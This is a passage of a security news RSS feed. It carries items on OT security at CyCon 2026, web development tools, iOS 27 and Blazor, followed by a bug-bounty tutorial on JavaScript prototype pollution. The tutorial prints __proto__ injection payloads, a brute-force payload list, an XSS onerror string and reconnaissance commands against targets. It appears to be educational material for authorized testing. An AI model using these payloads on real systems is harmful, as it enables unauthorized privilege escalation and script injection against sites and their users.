<description><![CDATA[Author: natoccdcoe - Bewertung: 0x - Views:0 CyCon 2026 |  Session by Jeff Foley, Cybersecurity Evangelist, Siemens Industry 

As industrial environments rapidly adopt AI, autonomous systems, and software defined automation, the operational technology (OT) attack surface is expanding in both scal...]]></description>
<link>https://tsecurity.de/de/3585353/it-security-video/siemens-anticipating-the-next-attack-surface-ot-security-in-an-era-of-ai-and-automation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585353/it-security-video/siemens-anticipating-the-next-attack-surface-ot-security-in-an-era-of-ai-and-automation/</guid>
<pubDate>Tue, 09 Jun 2026 19:33:11 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: natoccdcoe - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/AHFDCF72OX8?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>CyCon 2026 |  Session by Jeff Foley, Cybersecurity Evangelist, Siemens Industry <br />
<br />
As industrial environments rapidly adopt AI, autonomous systems, and software defined automation, the operational technology (OT) attack surface is expanding in both scale and complexity. The convergence of IT and OT, increased connectivity to cloud and remote operations, and the integration of AI into engineering and control workflows are reshaping how industrial systems are designed, operated, and attacked. At the same time, adversaries are leveraging automation and artificial intelligence to accelerate reconnaissance, exploit supply chain dependencies, and target cyber physical processes with greater precision.<br />
<br />
This presentation explores how the next generation of cyber threats is emerging at the intersection of AI, automation, and industrial connectivity, and why traditional perimeter focused OT security models are no longer sufficient. Drawing on Siemens Digital Industries’ experience across critical infrastructure and manufacturing sectors, the session examines how digital twins, virtualized control systems, AI assisted operations, and machine to machine trust redefine risk in modern OT environments.<br />
<br />
The talk frames “Securing Tomorrow” through a secure by design and lifecycle based approach, highlighting how defense in depth, zero trust principles, and architectural foresight can enable organizations to anticipate future attack surfaces rather than react to past incidents. It concludes by showing how AI and automation—when governed correctly—can be leveraged to strengthen resilience, visibility, and long term cyber readiness in industrial systems.<br />
<br />
#CCDCOE #CyCon2026<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[8 cutting-edge web development tools you don’t want to miss]]></title>
<description><![CDATA[There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of l...]]></description>
<link>https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</guid>
<pubDate>Tue, 09 Jun 2026 11:03:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of liturgical embellishment that have grown up around the reactive canon. How can we look at things differently to attain the power that we need, without the heavy intricacy?</p>



<p>Here are eight cutting-edge web development tools that point the way. </p>



<h2 class="wp-block-heading">Front-end maestro</h2>



<p>If you put a bunch of classical musicians in a room together with sheet music and let them run, you <em>might </em>get to a cohesive piece—but you <em>probably </em>want a conductor, a maestro who coordinates all of the parts. That is <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a> for your front-end frameworks.</p>



<p>Astro addresses the “<a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html">hydration</a>” of the front end, that is to say, the process of making the shell reactive. In conventional server-side rendering (SSR), like Next.js or Nuxt, the server not only sends the HTML, but also sends the massive framework runtime down the wire, just to attach event listeners to the page. Astro allows you to write components in React, Svelte, Vue, or Solid, and its compiler strips away all of the JavaScript before it reaches the browser. Astro ships zero JS by default, relying on its <a href="https://docs.astro.build/en/concepts/islands/" data-type="link" data-id="https://docs.astro.build/en/concepts/islands/">islands architecture</a> to hydrate only the specific components that demand interactivity. </p>



<p>Because Astro isolates interactivity into distinct islands, sharing complex state between those islands (e.g., a complex filtering sidebar communicating with a separate dynamic data grid) is fundamentally harder than it is in a monolithic single-page application. If you are building a highly interactive, dashboard-heavy app where every component affects every other component, Astro’s isolated islands might begin to feel more like a straitjacket than a liberation.</p>



<p>See also: <a href="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html" data-type="link" data-id="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html">Qwik</a>. If Astro unbloats by stripping away the JavaScript entirely, Qwik unbloats by delaying it. Qwik delivers instant HTML and serializes the application state, downloading and executing only the JavaScript code required for a specific interaction at the exact millisecond the user clicks a button.</p>



<h2 class="wp-block-heading">Biome: Lint like it’s 2026</h2>



<p><a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> is gradually replacing the underlying infrastructure in the JavaScript ecosystem. But while Rust gives <a href="https://biomejs.dev/">Biome</a> its close-to-the-metal speed, Biome’s true calling card is its unification of the sprawling toolchain under a cohesive umbrella.</p>



<p>The .eslintrc and .prettierrc files and the dozen associated plugins can become a dark and unhappy bog in a project. Biome is the way out of the mire. It is a single, blazingly fast binary that replaces your entire tangled formatting and linting ecosystem, providing a path to code quality that doesn’t require a sprawling web of dependencies.</p>



<p>Probably the biggest drawback to Biome is that you lose the wide-open extensibility—which is exactly the same feature that makes Biome lean.</p>



<p>See also: <a href="https://rspack.rs/">Rspack</a>. Biome cleans up the linting. Rspack unbloats the build step. Also built on Rust for speed, Rspack challenges the new “unbundled” esbuild-based dev mode championed by Vite and uses bundled dev mode.</p>



<h2 class="wp-block-heading">Bun: Fast and integrated back-end JavaScript</h2>



<p>Most cutting-edge JavaScript enthusiasts are already well-aware of <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>. For those who haven’t yet experienced Bun’s enthralling blend of one-stop shopping and blistering speed first-hand, it’s a virtually irrefutable must-try.</p>



<p>Fast is probably an understatement. If you are used to <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node</a> and you try out Bun, you will likely be immediately impressed with the speed at which commands execute. The Bun team has also made an extensive, multi-year effort to bring its engine into close compatibility with Node’s APIs. Overall, Bun is an extraordinary engineering effort that every JS developer should explore. </p>



<p>However, while Bun’s <a href="https://www.infoworld.com/article/2338081/meet-the-zig-programming-language.html">Zig</a>-based engine is in most respects a drop-in for Node, it isn’t perfect, especially when considering the gargantuan landscape of Node packages out there. Node remains the conservative, happy-path engine for server-side JavaScript. </p>



<p>See also: <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html" data-type="link" data-id="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a>. Although Bun has justifiably earned a reputation for bleeding-edge innovation, Deno has quietly pressed ahead with an appealing set of enterprise features like an integrated deployment platform and a front-end framework (<a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>).</p>



<p>The Bun curious also may want to check out my interview with Bun creator <a href="https://www.infoworld.com/article/2338698/interview-with-jarred-sumner-buns-creator-talks-tech-funding-and-startups.html">Jared Sumner</a>.</p>



<h2 class="wp-block-heading">HTMX: Ajax KISS</h2>



<p>If we are talking about clever ways to de-complexify the web, <a href="https://www.infoworld.com/article/4150864/htmx-4-0-hypermedia-finds-a-new-gear.html">HTMX</a> could reasonably be considered the poster-child. It takes the core mechanisms of the modern web client, like <a href="https://developer.mozilla.org/en-US/docs/Glossary/AJAX" data-type="link" data-id="https://developer.mozilla.org/en-US/docs/Glossary/AJAX">Ajax</a> and partial updates, and turns them into simple HTML attributes. That means the state lives exclusively on the server, which is responsible for sending HTMX fragments.</p>



<p>Of course, there are trade-offs. Perhaps most unavoidable is the extreme dependence on the network. Because there is no client-side state machine, the browser will be orphaned and helpless without a connection to the server. That is, unless you <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html" data-type="link" data-id="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">get experimental</a> with a <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">local-first datastore</a>.</p>



<p>Long story short: if your app falls into the realm of HTMX’s ability, HTMX is likely to be the most direct <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful</a> way to build it. And HTMX can in fact handle quite a lot.</p>



<p>See also: <a href="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html" data-type="link" data-id="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html">Hotwire</a>. A collection of tools for building single-page-style applications using HTML over the wire, Hotwire has great features like page morphing, which can diff HTML instead of cold-loading it, with a simple import. True to classic “free as in speech” software culture, the HTMX and Hotwire projects freely exchange ideas. </p>



<h2 class="wp-block-heading">PowerSync: Data layer redo</h2>



<p>Although the local-first data revolution that <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">PowerSync</a> represents implies a fairly serious engineering deep dive, its core proposal — to entirely reshape the way data moves in web architecture — is something a web developer needs to be aware of.</p>



<p>Usually, we create architectures that require a complex middleware to broker between a reactive client and the datastore. PowerSync proposes a radical alternative: bypass the middleman entirely by dropping a robust SQLite Wasm database directly into the browser.</p>



<p>The UI works on local data using <a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html" data-type="link" data-id="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">familiar SQL</a>, synchronously. Latency is zero. The dreaded loading spinner vanishes entirely. In the background, PowerSync automatically reconciles your local store with your central Postgres database. It handles the complex syncing algorithms and network drops, effectively making your application offline-first by default.</p>



<p>The catch, of course, is that local-first development forces a massive mental shift. You have to define data slices (similar to a view) that each client user holds. The PowerSync engine does most of the hard work, but things like schema migrations and conflict resolution (when two users edit the same record while offline) require a significantly steeper initial setup than a standard REST API.</p>



<p>See also: <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">RxDB</a>. RxDB is a slightly different flavor of local-first datastore. Whereas PowerSync relies heavily on Postgres, SQLite, and background daemons, RxDB provides a NoSQL, offline-first, reactive database that treats queries as observable streams, pushing UI updates the exact millisecond the local data changes. </p>



<h2 class="wp-block-heading">RooCode: Use any AI you want</h2>



<p>The beauty of <a href="https://www.infoworld.com/article/4019646/roo-code-review-a-first-look-at-autonomous-ai-powered-development-in-the-ide.html">RooCode</a> lies in its ability to orchestrate whatever AI providers you have—for free. RooCode is an extension to <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> that provides an AI manager layer. This layer bridges between the general abilities of the LLM and your code-specific, project-level structures.</p>



<p>RooCode is strong enough to be somewhat agentic in its capabilities. It doesn’t reach the powerhouse abilities of something like Cursor or Antigravity, but it is quite able to handle most small to medium-sized requests. And it does so with a minimum of unnecessary overhead. I find myself often using RooCode alongside my AI-assisted IDE to knock out lesser requirements, for less cost and without interrupting the flow of ongoing epics.</p>



<p>RooCode keeps you free of proprietary ecosystems. It allows you to plug in your own API keys—whether that is Claude, OpenAI, or even a local model running on your own hardware. </p>



<p>The hidden tax of any AI coding assistant, however, is that it fundamentally shifts your job description from “writer” to “editor.” The unbloating of keystrokes can paradoxically lead to massively bloated codebases if developers blindly accept AI-generated boilerplate without actively reviewing its architectural impact. It is incredibly easy to let an agent spin up 500 lines of complex React when 50 lines of plain JavaScript would have done.</p>



<p>See also: <a href="https://antigravity.google/" data-type="link" data-id="https://antigravity.google/">Antigravity</a>. RooCode is a lightweight extension that supercharges your existing environment. Google’s Antigravity is a custom-built editor designed from the ground up around AI, geared for agentic development workflows.</p>



<h2 class="wp-block-heading">TanStack Query: Syncing made simple(r)</h2>



<p>Even when client-side state management is addressed (see Zustand below), there is still a big, gaping hole in the plot: syncing across the server boundary. That is where <a href="https://tanstack.com/query/latest">TanStack Query</a> steps into the breach.</p>



<p>Distributed computing is a notoriously thorny problem, and in fact our standard reactive model walks right into these thorns by holding the same state in two different places: on the client and the server.  Tanstack Query tries to make this inherent architectural friction as painless as possible by acting as an intelligent asynchronous layer. </p>



<p>Instead of using a bunch of manual fetches tied to <code>useState</code> updates, along with fragile <code>isLoading</code> flags and complex state synchronization logic, TanStack Query abstracts the heavy lifting of API responses, background updates, and request deduplication into a few elegant hooks. You tell TanStack Query where to get the data, and it uses a pattern known as “stale-while-revalidate,” which means it will cache and reuse data on the front end (eliminating reload waits) and sync to the latest state in the background. </p>



<p>The catch, however, is that cache invalidation remains one of the hardest problems in computer science—and TanStack Query forces you to face it head-on. You will spend time thinking about “query keys” and deciding when a piece of data should be considered “stale.” No free lunches in software.</p>



<p>See also: <a href="https://swr.vercel.app/">SWR</a>. While TanStack Query is an absolute powerhouse for complex data manipulation, SWR remains a champion of API minimalism, doing exactly what its name implies (stale-while-revalidate) with almost zero configuration.</p>



<h2 class="wp-block-heading">Zustand: Minimalist state</h2>



<p>If you have yet to encounter the monstrosity of large-scale state management in a reactive app, then spoiler alert: it can be nasty. <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction">Zustand</a> proposes to dispense with the ceremonial boilerplate of reducers, providers, and unwieldy context wrappers in favor of a tiny, brutally simple global store.</p>



<p>Instead of forcing your entire application tree into a massive React context provider (sometimes leading to cascades of superfluous re-renders across the DOM), Zustand uses custom hooks to tie state directly to the specific components that need it. Zustand strives to achieve the specificity in the VDOM reactive model (instead of eliminating it entirely a la <a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html">Signals</a>).</p>



<p>You define a store, you call it, and the reactivity just works. It is an expression of the KISS philosophy applied to front-end architecture, scraping away the intricacies of Flux-like patterns. The trade-off for this liberation is the burden of discipline. Because Zustand is unopinionated, it won’t stop you from turning your global store into a cluttered junk drawer. You’ll need to impose your own conventions and guardrails to keep a large-scale project manageable.</p>



<p>See also: <a href="https://jotai.org/" data-type="link" data-id="https://jotai.org/">Jotai</a>. If Zustand is the unbloated global store, Jotai is the unbloated atomic approach. Jotai manages state from the bottom up, calculating changes with surgical precision without triggering massive re-renders across the application tree.</p>



<h2 class="wp-block-heading">New directions in web development</h2>



<p>The most remarkable thing about these eight tools is that they deal in large part with alternative approaches that challenge the familiar. Although you may not be able to adopt them immediately, you will want to keep an eye on them. They are key factors that will continue to influence the shape of web applications and how we build them.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Officially Announces iOS 27 with Hundreds of New Features]]></title>
<description><![CDATA[Apple has officially unveiled iOS 27 at WWDC 2026, introducing a major update focused on performance, smarter search, improved sharing features, and refinements across the iPhone experience.



The company says iOS 27 delivers faster app launches, quicker AirDrop transfers, smoother animations, a...]]></description>
<link>https://tsecurity.de/de/3582468/ios-mac-os/apple-officially-announces-ios-27-with-hundreds-of-new-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3582468/ios-mac-os/apple-officially-announces-ios-27-with-hundreds-of-new-features/</guid>
<pubDate>Mon, 08 Jun 2026 20:22:13 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has officially unveiled iOS 27 at WWDC 2026, introducing a major update focused on performance, smarter search, improved sharing features, and refinements across the iPhone experience.



The company says iOS 27 delivers faster app launches, quicker AirDrop transfers, smoother animations, and better responsiveness on supported devices. Apple also confirmed that every iPhone capable of running iOS 26 will support iOS 27, including the iPhone 11 and second-generation iPhone SE.



iOS 27 Focuses on Speed and Performance



Performance improvements sit at the center of iOS 27. Apple says apps now launch up to 30% faster, while AirDrop transfers are up to 80% faster than before.



The update also introduces an optimized CPU scheduler that helps older iPhones feel more responsive during everyday use. Apple highlighted smoother unlocking, faster camera launches, quicker NFC reading, improved Bluetooth power management, and faster loading across Photos, Safari, Mail, and Messages.



Safari receives several upgrades, including smoother scrolling, faster web application performance, quicker page loading, and more efficient power usage.



Liquid Glass Design Gets More Customization



Apple continues to evolve its Liquid Glass design language in iOS 27.



Users can now customize transparency levels through a dedicated slider, while app icons feature sharper visuals with enhanced layers and refraction effects. Apple has also refreshed app icons, improved Control Center responsiveness, and added smoother Home Screen navigation and scrolling animations throughout the system.



Search and Spotlight Receive a Major Upgrade



Apple rebuilt search from the ground up in iOS 27.



The new indexing system analyzes device context after updating, helping Spotlight deliver more relevant results across apps and content. Apple says users will notice faster indexing, smarter suggestions, and improved search experiences throughout the operating system.



Mail also benefits from a new ranking system designed to surface the messages users are actually looking for more quickly.



Photos, Maps, AirPods, and Health Gain New Features



Several Apple apps receive meaningful upgrades in iOS 27.



Photos now supports participation in iCloud Shared Albums from Android and Windows devices, making collaboration easier across platforms. Users can also save slideshows as videos, react with any emoji, assign star ratings, search using additional metadata, and manage albums more efficiently.



Apple Maps gains an upgraded Flyover experience with richer aerial imagery, improved route accuracy, better Visited Places tracking, and expanded Guides support.



For AirPods, Apple is introducing Custom EQ controls, giving users more control over audio tuning.



Meanwhile, the Health app expands cycle tracking and adds dedicated support for perimenopause and menopause tracking, education, and fitness recommendations.



Messages, FaceTime, and Sharing Get Smarter



Apple has improved communication features throughout iOS 27.



Messages now supports continuous sending of photos, videos, and texts, automatic retries for failed messages, better syncing across devices, improved search tools, and easier access to offloaded media.



FaceTime gains dual-camera support and improved call quality on weaker connections. Apple also expanded Live Caption language support and enhanced sharing recommendations based on content context.



Trust, Safety, and Family Features Expand



Apple placed significant attention on trust and safety during its WWDC presentation.



The company announced improvements to Child Accounts, parental controls, recovery options, and Apple Account security tools. Users can access recovery code information more easily and take advantage of streamlined recovery contact setup.



Apple also improved emergency alert monitoring and introduced additional protections across its ecosystem.



Hundreds of Refinements Across iOS 27



Beyond the headline features, Apple announced hundreds of smaller improvements that affect daily use.



Some notable additions include:




Faster AirPlay connections to Apple TV and HomePod



Improved battery insights



Faster Apple Music playback



More reliable wireless CarPlay



Independent alarm volume controls



Larger widget options



Faster camera launches in Low Power Mode



More accurate Maps data



Improved Photos search



Enhanced HomeKit accessory pairing



Faster iCloud Photos syncing



Real-time widget updates



Better multilingual typing and grammar checking




When Will iOS 27 Be Available



Apple has started testing iOS 27 with developers following its WWDC 2026 announcement. A public beta is expected later this summer, while the final version will likely arrive alongside the company's next iPhone lineup this fall.



With major speed improvements, smarter search tools, broader sharing capabilities, and hundreds of quality-of-life upgrades, iOS 27 shapes up to be one of Apple's most refinement-focused iPhone releases in recent years.]]></content:encoded>
</item>
<item>
<title><![CDATA[(g+) Blazor 2026: Warum C# im Web stärker wird - aber Javascript bleibt]]></title>
<description><![CDATA[Blazor verspricht Webentwicklung ohne ständigen Wechsel zwischen C# und Javascript. Doch wie weit trägt das, wenn React, Angular und Vue das Web weiter prägen? Ein Ratgebertext von Fabian Deitelhoff (Softwareentwicklung, .Net)]]></description>
<link>https://tsecurity.de/de/3581261/it-nachrichten/g-blazor-2026-warum-c-im-web-staerker-wird-aber-javascript-bleibt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3581261/it-nachrichten/g-blazor-2026-warum-c-im-web-staerker-wird-aber-javascript-bleibt/</guid>
<pubDate>Mon, 08 Jun 2026 13:32:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Blazor verspricht Webentwicklung ohne ständigen Wechsel zwischen C# und Javascript. Doch wie weit trägt das, wenn React, Angular und Vue das Web weiter prägen? Ein Ratgebertext von Fabian Deitelhoff (<a href="https://www.golem.de/specials/softwareentwicklung/">Softwareentwicklung</a>, <a href="https://www.golem.de/specials/dotnet/">.Net</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=209503&amp;page=1&amp;ts=1780918201" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation & Bug Bounty Guideline]]></title>
<description><![CDATA[From Recon to RCE — A comprehensive deep-dive into one of JavaScript’s most misunderstood vulnerabilitiesJavaScript Prototype Pollution Deep DiveTable of ContentsWhat Is Prototype Pollution?The JavaScript Prototype Chain — Deep DiveAttack Vectors & Entry PointsReconnaissance MethodologyExploitati...]]></description>
<link>https://tsecurity.de/de/3580446/hacking/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580446/hacking/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline/</guid>
<pubDate>Mon, 08 Jun 2026 06:38:25 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>From Recon to RCE — A comprehensive deep-dive into one of JavaScript’s most misunderstood vulnerabilities</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fRBOm82WKY9ycNXTz9B4Tw.png"><figcaption>JavaScript Prototype Pollution Deep Dive</figcaption></figure><h3>Table of Contents</h3><ol><li>What Is Prototype Pollution?</li><li>The JavaScript Prototype Chain — Deep Dive</li><li>Attack Vectors &amp; Entry Points</li><li>Reconnaissance Methodology</li><li>Exploitation Techniques — From XSS to RCE</li><li>Real-World Bug Bounty Case Studies</li><li>Advanced Exploit Chains</li><li>Tooling &amp; Automation</li><li>Defense &amp; Remediation</li><li>Full Python Scanner — Production-Ready</li></ol><h3>1. What Is Prototype Pollution?</h3><p>Prototype Pollution is a vulnerability where an attacker injects properties into JavaScript’s Object.prototype. Because all objects inherit from Object.prototype, the injected property propagates to every object in the runtime — including window, document, process, and any object created thereafter.</p><h3>Why It Matters</h3><p>Unlike SQL injection or XSS, Prototype Pollution often serves as a primer — it doesn’t immediately give you RCE unless you chain it with another gadget. But when chained correctly, the impact ranges from XSS (browser) to Remote Code Execution (Node.js).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*eqg_UNnsK1QKOPlTFFG_qQ.png"><figcaption>Impact Level</figcaption></figure><h3>2. The JavaScript Prototype Chain — Deep Dive</h3><h4>How Inheritance Works</h4><pre>// Every object has a hidden [[Prototype]]<br>const user = { name: "Alice" };</pre><pre>// user ---&gt; Object.prototype ---&gt; null<br>//         ^[[Prototype]]^</pre><p>When you access user.toString(), JavaScript:</p><ol><li>Looks for toString on user itself → not found</li><li>Looks on user.__proto__ (which is Object.prototype) → found!</li><li>Executes it.</li></ol><h3>The Vulnerability Mechanism</h3><pre>// Normal operation<br>const target = {};<br>const source = JSON.parse('{"name": "Alice"}');<br>Object.assign(target, source);<br>// target = { name: "Alice" } — safe</pre><pre>// Polluted operation<br>const source = JSON.parse('{"__proto__": {"isAdmin": true}}');<br>Object.assign(target, source);<br>// target.__proto__.isAdmin = true<br>// ALL objects now have isAdmin: true</pre><h3>Why __proto__ Works as a Key</h3><p>JSON parsing does NOT treat __proto__ specially — it's just a string key. When Object.assign() copies properties, it sets target.__proto__ which mutates the actual prototype chain.</p><pre>// Visual representation<br>const obj = {};<br>obj.__proto__.polluted = true;<br>// Equivalent to:<br>Object.prototype.polluted = true;</pre><pre>console.log({}.polluted);  // true<br>console.log([].polluted);  // true<br>console.log("".polluted);  // true (string prototype chain)</pre><h3>The Three Mutation Methods</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*x3HA5gBQwhCAZHlDeZp32Q.png"><figcaption>Method/Vul/Lib</figcaption></figure><h3>3. Attack Vectors &amp; Entry Points</h3><h4>Server-Side Entry Points (Node.js)</h4><pre>POST /api/users<br>Content-Type: application/json</pre><pre>{"name": "test", "__proto__": {"isAdmin": true}}</pre><p><strong>Where to look:</strong></p><ul><li>JSON body parsing (Express body-parser, express.json())</li><li>Query string parsing (qs library, Express built-in)</li><li>Cookie parsing</li><li>File upload metadata</li><li>GraphQL variables</li><li>WebSocket messages</li></ul><h3>Client-Side Entry Points (Browser)</h3><pre>&lt;!-- URL fragment parsing --&gt;<br>https://target.com/#__proto__[polluted]=true</pre><pre>&lt;!-- PostMessage --&gt;<br>window.postMessage({__proto__: {evil: true}}, '*')</pre><pre>&lt;!-- localStorage / sessionStorage --&gt;<br>localStorage.getItem('config') // parsed with JSON.parse</pre><pre>&lt;!-- WebSocket --&gt;<br>ws.send(JSON.stringify({__proto__: {innerHTML: '&lt;img src=x onerror=alert(1)&gt;'}}))</pre><h3>Common Vulnerable Patterns</h3><h4>Pattern 1: Object.assign / Spread Operator</h4><pre>app.post('/api/update', (req, res) =&gt; {<br>  const user = getUser(req.session.userId);<br>  Object.assign(user, req.body);  // VULNERABLE<br>  user.save();<br>});</pre><h4>Pattern 2: _.merge / $.extend</h4><pre>const config = _.merge(defaultConfig, userConfig); // VULNERABLE if userConfig comes from input</pre><h4>Pattern 3: Deep Clone</h4><pre>const cloned = JSON.parse(JSON.stringify(userInput)); <br>// JSON.parse + JSON.stringify is SAFE — it strips __proto__<br>// BUT: if you then merge cloned into another object...</pre><h4>Pattern 4: URL Query Parsing</h4><pre>// Using qs library with allowPrototypes: false (default is true in older versions)<br>const parsed = qs.parse('a.__proto__.b=c'); <br>// Older qs: parsed = { a: { __proto__: { b: 'c' } } }</pre><h3>4. Reconnaissance Methodology</h3><h3>Phase 1: Identify Dependencies</h3><p>Modern web apps are built on frameworks. Find the soft targets.</p><pre># Client-side: Look for known vulnerable libraries<br>curl -s https://target.com/assets/app.js | grep -iEo \<br>  '(jquery|lodash|underscore|handlebars|vue|react|angular|backbone)[@-]?[0-9.]+'</pre><pre># Server-side: Check for Node.js indicators<br>curl -sI https://target.com | grep -i 'x-powered-by\|server\|node'</pre><p><strong>Version lookup table:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*sW15qtpZIk3rRmIovXQsxg.png"><figcaption>Vulnerable table</figcaption></figure><h3>Phase 2: Map All Input Points</h3><p>Build a comprehensive list of every location where user data is parsed into objects.</p><pre># Spider the application<br>gospider -s https://target.com -o spider_output</pre><pre># Extract endpoints from JavaScript<br>curl -s https://target.com/assets/app.js | \<br>  grep -oP 'POST|PUT|PATCH|GET.*(api|graphql|v1|v2|rest)' | \<br>  sort -u &gt; endpoints.txt</pre><h3>Phase 3: Brute-Force Pollute Vectors</h3><p>Target each endpoint with multiple payload variants.</p><pre>// Payload matrix — try ALL of these<br>{"__proto__":{"polluted":"yes"}}<br>{"__proto__":["polluted","yes"]}<br>{"__proto__":{"__proto__":{"polluted":"yes"}}}<br>{"constructor":{"prototype":{"polluted":"yes"}}}<br>{"a":{"__proto__":{"polluted":"yes"}}}<br>{"[__proto__]":{"polluted":"yes"}}<br>{"__proto__.polluted":"yes"}  // For query string parsersj</pre><h3>Phase 4: Detection Verification</h3><p>After sending the payload, verify if pollution took effect.</p><p>Server-side check:</p><pre># Send a probe payload that affects something observable<br>curl -s https://target.com/api/status | grep -i '"polluted":"yes"'<br># Or check if you get 200 instead of 403 on admin endpoints</pre><p>Client-side check (if you can execute JS):</p><pre>// Open console on the target page after triggering the pollution<br>Object.prototype.polluted === "yes"<br>// Or<br>({}).polluted === "yes"<br><br><br><br><br></pre><h3>⚠️ <strong>Content Notice</strong></h3><p>Due to community guidelines and responsible disclosure practices, I was unable to include the complete live exploit chain, weaponized payloads, and full proof-of-concept demonstrations in this article.</p><p>The concepts, impacts, and mitigation strategies are covered here for educational and defensive security purposes. Readers interested in the full technical research, complete exploit analysis, and detailed proof-of-concept examples can refer to the corresponding GitHub repository linked with this article.</p><p>This content is intended solely for security research, awareness, and defensive testing in authorized environments.</p><h4>Reed Full Blog: <a href="https://github.com/SecurityTalent/write-up">https://github.com/SecurityTalent/write-up</a></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8FEPTDOVMoyB-eds.png"></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud 